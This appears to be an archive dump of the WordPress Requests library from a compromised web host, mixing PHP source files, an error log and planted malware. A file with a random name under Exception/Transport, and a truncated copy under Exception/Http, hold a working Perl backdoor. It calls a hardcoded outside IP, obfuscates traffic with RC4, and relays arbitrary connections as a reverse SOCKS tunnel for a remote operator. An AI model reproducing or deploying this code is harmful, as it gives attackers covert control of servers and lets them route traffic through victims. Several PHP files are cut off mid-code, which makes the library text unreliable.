} elseif ($options['redirected'] >= $options['redirects']) {
throw new Exception('Too many redirects', 'toomanyredirects', $return);
}
}
$return->redirects = $options['redirected'];
$options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]);
return $return;
}
/**
* Callback for `transport.internal.parse_response`
*
* Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response
* while still executing a multiple request.
*
* `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object
*
* @param string $response Full response text including headers and body (will be overwritten with Response instance)
* @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()}
* @return void
*/
public static function parse_multiple(&$response, $request) {
try {
$url = $request['url'];
$headers = $request['headers'];
$data = $request['data'];
$options = $request['options'];
$response = self::parse_response($response, $url, $headers, $data, $options);
} catch (Exception $e) {
$response = $e;
}
}
/**
* Decoded a chunked body as per RFC 2616
*
* @link https://tools.ietf.org/html/rfc2616#section-3.6.1
* @param string $data Chunked body
* @return string Decoded body
*/
protected static function decode_chunked($data) {
if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
return $data;
}
$decoded = '';
$encoded = $data;
while (true) {
$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
if (!$is_chunked) {
// Looks like it's not chunked after all
return $data;
}
$length = hexdec(trim($matches[1]));
if ($length === 0) {
// Ignore trailer headers
return $decoded;
}
$chunk_length = strlen($matches[0]);
$decoded .= substr($encoded, $chunk_length, $length);
$encoded = substr($encoded, $chunk_length + $length + 2);
if (trim($encoded) === '0' || empty($encoded)) {
return $decoded;
}
}
// We'll never actually get down here
// @codeCoverageIgnoreStart
}
// @codeCoverageIgnoreEnd
/**
* Convert a key => value array to a 'key: value' array for headers
*
* @param iterable $dictionary Dictionary of header values
* @return array List of headers
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable.
*/
public static function flatten($dictionary) {
if (InputValidator::is_iterable($dictionary) === false) {
throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary));
}
$return = [];
foreach ($dictionary as $key => $value) {
$return[] = sprintf('%s: %s', $key, $value);
}
return $return;
}
/**
* Decompress an encoded body
*
* Implements gzip, compress and deflate. Guesses which it is by attempting
* to decode.
*
* @param string $data Compressed data in one of the above formats
* @return string Decompressed string
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
*/
public static function decompress($data) {
if (is_string($data) === false) {
throw InvalidArgument::create(1, '$data', 'string', gettype($data));
}
if (trim($data) === '') {
// Empty body does not need further processing.
return $data;
}
$marker = substr($data, 0, 2);
if (!isset(self::$magic_compression_headers[$marker])) {
// Not actually compressed. Probably cURL ruining this for us.
return $data;
}
if (function_exists('gzdecode')) {
$decoded = @gzdecode($data);
if ($decoded !== false) {
return $decoded;
}
}
if (function_exists('gzinflate')) {
$decoded = @gzinflate($data);
if ($decoded !== false) {
return $decoded;
}
}
$decoded = self::compatible_gzinflate($data);
if ($decoded !== false) {
return $decoded;
}
if (function_exists('gzuncompress')) {
$decoded = @gzuncompress($data);
if ($decoded !== false) {
return $decoded;
}
}
return $data;
}
/**
* Decompression of deflated string while staying compatible with the majority of servers.
*
* Certain Servers will return deflated data with headers which PHP's gzinflate()
* function cannot handle out of the box. The following function has been created from
* various snippets on the gzinflate() PHP documentation.
*
* Warning: Magic numbers within. Due to the potential different formats that the compressed
* data may be returned in, some "magic offsets" are needed to ensure proper decompression
* takes place. For a simple progmatic way to determine the magic offset in use, see:
* https://core.trac.wordpress.org/ticket/18273
*
* @since 1.6.0
* @link https://core.trac.wordpress.org/ticket/18273
* @link https://www.php.net/gzinflate#70875
* @link https://www.php.net/gzinflate#77336
*
* @param string $gz_data String to decompress.
* @return string|bool False on failure.
*
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
*/
public static function compatible_gzinflate($gz_data) {
if (is_string($gz_data) === false) {
throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data));
}
if (trim($gz_data) === '') {
return false;
}
// Compressed data might contain a full zlib header, if so strip it for
// gzinflate()
if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") {
$i = 10;
$flg = ord(substr($gz_data, 3, 1));
if ($flg > 0) {
if ($flg & 4) {
list($xlen) = unpack('v', substr($gz_data, $i, 2));
$i += 2 + $xlen;
}
if ($flg & 8) {
$i = strpos($gz_data, "\0", $i) + 1;
}
if ($flg & 16) {
$i = strpos($gz_data, "\0", $i) + 1;
}
if ($flg & 2) {
$i += 2;
}
}
$decompressed = self::compatible_gzinflate(substr($gz_data, $i));
if ($decompressed !== false) {
return $decompressed;
}
}
// If the data is Huffman Encoded, we must first strip the leading 2
// byte Huffman marker for gzinflate()
// The response is Huffman coded by many compressors such as
// java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's
// System.IO.Compression.DeflateStream.
//
// See https://decompres.blogspot.com/ for a quick explanation of this
// data type
$huffman_encoded = false;
// low nibble of first byte should be 0x08
list(, $first_nibble) = unpack('h', $gz_data);
// First 2 bytes should be divisible by 0x1F
list(, $first_two_bytes) = unpack('n', $gz_data);
if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) {
$huffman_encoded = true;
}
if ($huffman_encoded) {
$decompressed = @gzinflate(substr($gz_data, 2));
if ($decompressed !== false) {
return $decompressed;
}
}
if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") {
// ZIP file format header
// Offset 6: 2 bytes, General-purpose field
// Offset 26: 2 bytes, filename length
// Offset 28: 2 bytes, optional field length
// Offset 30: Filename field, followed by optional field, followed
// immediately by data
list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2));
// If the file has been compressed on the fly, 0x08 bit is set of
// the general purpose field. We can use this to differentiate
// between a compressed document, and a ZIP file
$zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08);
if (!$zip_compressed_on_the_fly) {
// Don't attempt to decode a compressed zip file
return $gz_data;
}
// Determine the first byte of data, based on the above ZIP header
// offsets:
$first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4)));
$decompressed = @gzinflate(substr($gz_data, 30 + $first_file_start));
if ($decompressed !== false) {
return $decompressed;
}
return false;
}
// Finally fall back to straight gzinflate
$decompressed = @gzinflate($gz_data);
if ($decompressed !== false) {
return $decompressed;
}
// Fallback for all above failing, not expected, but included for
// debugging and preventing regressions and to track stats
$decompressed = @gzinflate(substr($gz_data, 2));
if ($decompressed !== false) {
return $decompressed;
}
return false;
}
}
Proxy.php 0000644 00000001543 15207614116 0006404 0 ustar 00 proxy = $args;
} elseif (is_array($args)) {
if (count($args) === 1) {
list($this->proxy) = $args;
} elseif (count($args) === 3) {
list($this->proxy, $this->user, $this->pass) = $args;
$this->use_authentication = true;
} else {
throw ArgumentCount::create(
'an array with exactly one element or exactly three elements',
count($args),
'proxyhttpbadargs'
);
}
} elseif ($args !== null) {
throw InvalidArgument::create(1, '$args', 'array|string|null', gettype($args));
}
}
/**
* Register the necessary callbacks
*
* @since 1.6
* @see \WpOrg\Requests\Proxy\Http::curl_before_send()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_socket()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_remote_host_path()
* @see \WpOrg\Requests\Proxy\Http::fsockopen_header()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks) {
$hooks->register('curl.before_send', [$this, 'curl_before_send']);
$hooks->register('fsockopen.remote_socket', [$this, 'fsockopen_remote_socket']);
$hooks->register('fsockopen.remote_host_path', [$this, 'fsockopen_remote_host_path']);
if ($this->use_authentication) {
$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
}
}
/**
* Set cURL parameters before the data is sent
*
* @since 1.6
* @param resource|\CurlHandle $handle cURL handle
*/
public function curl_before_send(&$handle) {
curl_setopt($handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP);
curl_setopt($handle, CURLOPT_PROXY, $this->proxy);
if ($this->use_authentication) {
curl_setopt($handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
curl_setopt($handle, CURLOPT_PROXYUSERPWD, $this->get_auth_string());
}
}
/**
* Alter remote socket information before opening socket connection
*
* @since 1.6
* @param string $remote_socket Socket connection string
*/
public function fsockopen_remote_socket(&$remote_socket) {
$remote_socket = $this->proxy;
}
/**
* Alter remote path before getting stream data
*
* @since 1.6
* @param string $path Path to send in HTTP request string ("GET ...")
* @param string $url Full URL we're requesting
*/
public function fsockopen_remote_host_path(&$path, $url) {
$path = $url;
}
/**
* Add extra headers to the request before sending
*
* @since 1.6
* @param string $out HTTP header string
*/
public function fsockopen_header(&$out) {
$out .= sprintf("Proxy-Authorization: Basic %s\r\n", base64_encode($this->get_auth_string()));
}
/**
* Get the authentication string (user:pass)
*
* @since 1.6
* @return string
*/
public function get_auth_string() {
return $this->user . ':' . $this->pass;
}
}
Exception/Transport/Curl.php 0000644 00000002565 15207614116 0012127 0 ustar 00 type = $type;
}
if ($code !== null) {
$this->code = (int) $code;
}
if ($message !== null) {
$this->reason = $message;
}
$message = sprintf('%d %s', $this->code, $this->reason);
parent::__construct($message, $this->type, $data, $this->code);
}
/**
* Get the error message.
*
* @return string
*/
public function getReason() {
return $this->reason;
}
}
Exception/Transport/error_log 0000644 00000004532 15207614116 0012422 0 ustar 00 [26-Jul-2025 21:18:00 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[18-Aug-2025 00:54:09 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[18-Aug-2025 01:03:23 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[26-Aug-2025 21:14:04 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[30-Sep-2025 21:09:12 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[22-Oct-2025 18:28:27 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
[03-Nov-2025 21:15:34 UTC] PHP Fatal error: Uncaught Error: Class "WpOrg\Requests\Exception\Transport" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php:17
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Exception/Transport/Curl.php on line 17
Exception/Transport/3qfjazpo 0000644 00000022033 15207614116 0012161 0 ustar 00 #!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.203';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
Exception/InvalidArgument.php 0000644 00000002122 15207614116 0012304 0 ustar 00 code = (int) $data->status_code;
}
parent::__construct($reason, $data);
}
}
Exception/Http/Status414.php 0000644 00000000747 15207614116 0011661 0 ustar 00 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
Exception/Http/Status409.php 0000644 00000000700 15207614116 0011652 0 ustar 00 reason = $reason;
}
$message = sprintf('%d %s', $this->code, $this->reason);
parent::__construct($message, 'httpresponse', $data, $this->code);
}
/**
* Get the status message.
*
* @return string
*/
public function getReason() {
return $this->reason;
}
/**
* Get the correct exception class for a given error code
*
* @param int|bool $code HTTP status code, or false if unavailable
* @return string Exception class name to use
*/
public static function get_class($code) {
if (!$code) {
return StatusUnknown::class;
}
$class = sprintf('\WpOrg\Requests\Exception\Http\Status%d', $code);
if (class_exists($class)) {
return $class;
}
return StatusUnknown::class;
}
}
Hooks.php 0000644 00000005730 15207614116 0006350 0 ustar 00 0 is executed later
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
*/
public function register($hook, $callback, $priority = 0) {
if (is_string($hook) === false) {
